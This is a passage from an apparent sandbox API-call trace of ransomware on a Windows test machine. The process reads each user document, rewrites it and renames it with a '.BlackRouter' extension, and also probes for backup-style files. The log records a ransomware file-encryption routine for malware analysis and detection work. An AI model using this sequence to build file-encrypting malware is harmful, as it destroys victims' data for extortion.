ftCreationTime.dwHighDateTime=0x1d4638c, ftLastAccessTime.dwLowDateTime=0xd258cca0, ftLastAccessTime.dwHighDateTime=0x1d464ff, ftLastWriteTime.dwLowDateTime=0xbf3c4d90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x113c0)) returned 1 [0041.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\ItynyNuYhUEqZ4.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\itynynuyhueqz4.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\ItynyNuYhUEqZ4.doc.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\itynynuyhueqz4.doc.blackrouter")) returned 1 [0041.487] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.487] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.488] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.488] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.489] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0041.494] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae310 | out: lpFindFileData=0x1ae310) returned 0 [0041.495] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\MaglUQPRLjF1M.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\magluqprljf1m.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.495] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x7859 [0041.495] ReadFile (in: hFile=0x258, lpBuffer=0x28e5198, nNumberOfBytesToRead=0x7859, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x28e5198*, lpNumberOfBytesRead=0x1ae528*=0x7859, lpOverlapped=0x0) returned 1 [0041.496] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\MaglUQPRLjF1M.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\magluqprljf1m.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\MaglUQPRLjF1M.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\magluqprljf1m.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6f740, ftCreationTime.dwHighDateTime=0x1d460ac, ftLastAccessTime.dwLowDateTime=0x2824b790, ftLastAccessTime.dwHighDateTime=0x1d461ca, ftLastWriteTime.dwLowDateTime=0xbf3eaef0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7860)) returned 1 [0041.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\MaglUQPRLjF1M.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\magluqprljf1m.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\MaglUQPRLjF1M.rtf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\magluqprljf1m.rtf.blackrouter")) returned 1 [0041.500] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae310 | out: lpFindFileData=0x1ae310) returned 0 [0041.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\bsrpuKhid-cU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\bsrpukhid-cu.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.500] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae5f8 | out: lpFileSizeHigh=0x1ae5f8*=0x0) returned 0x17cb7 [0041.500] ReadFile (in: hFile=0x258, lpBuffer=0x128c0000, nNumberOfBytesToRead=0x17cb7, lpNumberOfBytesRead=0x1ae528, lpOverlapped=0x0 | out: lpBuffer=0x128c0000*, lpNumberOfBytesRead=0x1ae528*=0x17cb7, lpOverlapped=0x0) returned 1 [0041.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\bsrpuKhid-cU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\bsrpukhid-cu.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.507] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\bsrpuKhid-cU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\bsrpukhid-cu.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x1ae640 | out: lpFileInformation=0x1ae640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd0b0970, ftCreationTime.dwHighDateTime=0x1d4611d, ftLastAccessTime.dwLowDateTime=0x63be11d0, ftLastAccessTime.dwHighDateTime=0x1d45d73, ftLastWriteTime.dwLowDateTime=0xbf411050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x17cc0)) returned 1 [0041.507] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\bsrpuKhid-cU.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\bsrpukhid-cu.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\bsrpuKhid-cU.xlsx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\yughshxx4h rbj\\ipm5tk73ud_icewt\\bsrpukhid-cu.xlsx.blackrouter")) returned 1 [0041.553] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.553] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.554] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\yUGHSHXX4h RBJ\\IPM5tk73Ud_IceWt\\*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.554] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae0d0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.555] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.555] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.555] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 1 [0041.555] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae340 | out: lpFindFileData=0x1ae340) returned 0 [0041.557] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.557] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\5rH2Hzzr2qp9E4VvLG47.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\5rh2hzzr2qp9e4vvlg47.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.557] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x130bc [0041.557] ReadFile (in: hFile=0x258, lpBuffer=0x29a3fe8, nNumberOfBytesToRead=0x130bc, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29a3fe8*, lpNumberOfBytesRead=0x1ae5c8*=0x130bc, lpOverlapped=0x0) returned 1 [0041.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\5rH2Hzzr2qp9E4VvLG47.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\5rh2hzzr2qp9e4vvlg47.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.563] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\5rH2Hzzr2qp9E4VvLG47.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\5rh2hzzr2qp9e4vvlg47.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed0fb70, ftCreationTime.dwHighDateTime=0x1d457b2, ftLastAccessTime.dwLowDateTime=0x64f6fe20, ftLastAccessTime.dwHighDateTime=0x1d46612, ftLastWriteTime.dwLowDateTime=0xbf483470, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x130c0)) returned 1 [0041.564] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\5rH2Hzzr2qp9E4VvLG47.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\5rh2hzzr2qp9e4vvlg47.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\5rH2Hzzr2qp9E4VvLG47.pdf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\5rh2hzzr2qp9e4vvlg47.pdf.blackrouter")) returned 1 [0041.565] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\7fJObA6NQ050pXt2IM9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\7fjoba6nq050pxt2im9.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.565] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x73d3 [0041.565] ReadFile (in: hFile=0x258, lpBuffer=0x29ccee8, nNumberOfBytesToRead=0x73d3, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29ccee8*, lpNumberOfBytesRead=0x1ae5c8*=0x73d3, lpOverlapped=0x0) returned 1 [0041.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\7fJObA6NQ050pXt2IM9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\7fjoba6nq050pxt2im9.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.568] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\7fJObA6NQ050pXt2IM9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\7fjoba6nq050pxt2im9.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec616eb0, ftCreationTime.dwHighDateTime=0x1d45c7e, ftLastAccessTime.dwLowDateTime=0xb0286ae0, ftLastAccessTime.dwHighDateTime=0x1d45ed9, ftLastWriteTime.dwLowDateTime=0xbf4a95d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x73e0)) returned 1 [0041.569] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\7fJObA6NQ050pXt2IM9.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\7fjoba6nq050pxt2im9.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\7fJObA6NQ050pXt2IM9.rtf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\7fjoba6nq050pxt2im9.rtf.blackrouter")) returned 1 [0041.569] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 1 [0041.569] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\hSLacBAMjJwSzdL-BSV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\hslacbamjjwszdl-bsv.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.569] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xfffa [0041.570] ReadFile (in: hFile=0x258, lpBuffer=0x29e2b58, nNumberOfBytesToRead=0xfffa, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x29e2b58*, lpNumberOfBytesRead=0x1ae5c8*=0xfffa, lpOverlapped=0x0) returned 1 [0041.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\hSLacBAMjJwSzdL-BSV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\hslacbamjjwszdl-bsv.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\hSLacBAMjJwSzdL-BSV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\hslacbamjjwszdl-bsv.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ce7f8b0, ftCreationTime.dwHighDateTime=0x1d4583e, ftLastAccessTime.dwLowDateTime=0x9623afc0, ftLastAccessTime.dwHighDateTime=0x1d461d0, ftLastWriteTime.dwLowDateTime=0xbf4a95d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0041.575] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\hSLacBAMjJwSzdL-BSV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\hslacbamjjwszdl-bsv.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\hSLacBAMjJwSzdL-BSV.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\hslacbamjjwszdl-bsv.pptx.blackrouter")) returned 1 [0041.575] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\wTkAuj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\wtkauj.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.575] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0xbbcd [0041.575] ReadFile (in: hFile=0x258, lpBuffer=0x2a03858, nNumberOfBytesToRead=0xbbcd, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a03858*, lpNumberOfBytesRead=0x1ae5c8*=0xbbcd, lpOverlapped=0x0) returned 1 [0041.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\wTkAuj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\wtkauj.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.580] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\wTkAuj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\wtkauj.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a98bad0, ftCreationTime.dwHighDateTime=0x1d45bcf, ftLastAccessTime.dwLowDateTime=0x1c369810, ftLastAccessTime.dwHighDateTime=0x1d45868, ftLastWriteTime.dwLowDateTime=0xbf4cf730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbbd0)) returned 1 [0041.581] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\wTkAuj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\wtkauj.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\wTkAuj.pptx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\wtkauj.pptx.blackrouter")) returned 1 [0041.581] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3b0 | out: lpFindFileData=0x1ae3b0) returned 0 [0041.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\KwDmD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\kwdmd.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.582] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae698 | out: lpFileSizeHigh=0x1ae698*=0x0) returned 0x13e40 [0041.582] ReadFile (in: hFile=0x258, lpBuffer=0x2a234c0, nNumberOfBytesToRead=0x13e40, lpNumberOfBytesRead=0x1ae5c8, lpOverlapped=0x0 | out: lpBuffer=0x2a234c0*, lpNumberOfBytesRead=0x1ae5c8*=0x13e40, lpOverlapped=0x0) returned 1 [0041.584] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\KwDmD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\kwdmd.xls"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\KwDmD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\kwdmd.xls"), fInfoLevelId=0x0, lpFileInformation=0x1ae6e0 | out: lpFileInformation=0x1ae6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca87050, ftCreationTime.dwHighDateTime=0x1d45ab1, ftLastAccessTime.dwLowDateTime=0x781dd990, ftLastAccessTime.dwHighDateTime=0x1d464d9, ftLastWriteTime.dwLowDateTime=0xbf4cf730, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13e50)) returned 1 [0041.587] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\KwDmD.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\kwdmd.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\KwDmD.xls.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\1pz1v\\ywqhscuwog_wu7vaq\\kwdmd.xls.blackrouter")) returned 1 [0041.589] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.590] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.591] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\1Pz1V\\YwqHscuwOg_wu7vaq\\*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.591] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae170, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.591] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.591] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 1 [0041.592] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae3e0 | out: lpFindFileData=0x1ae3e0) returned 0 [0041.681] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.681] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.682] 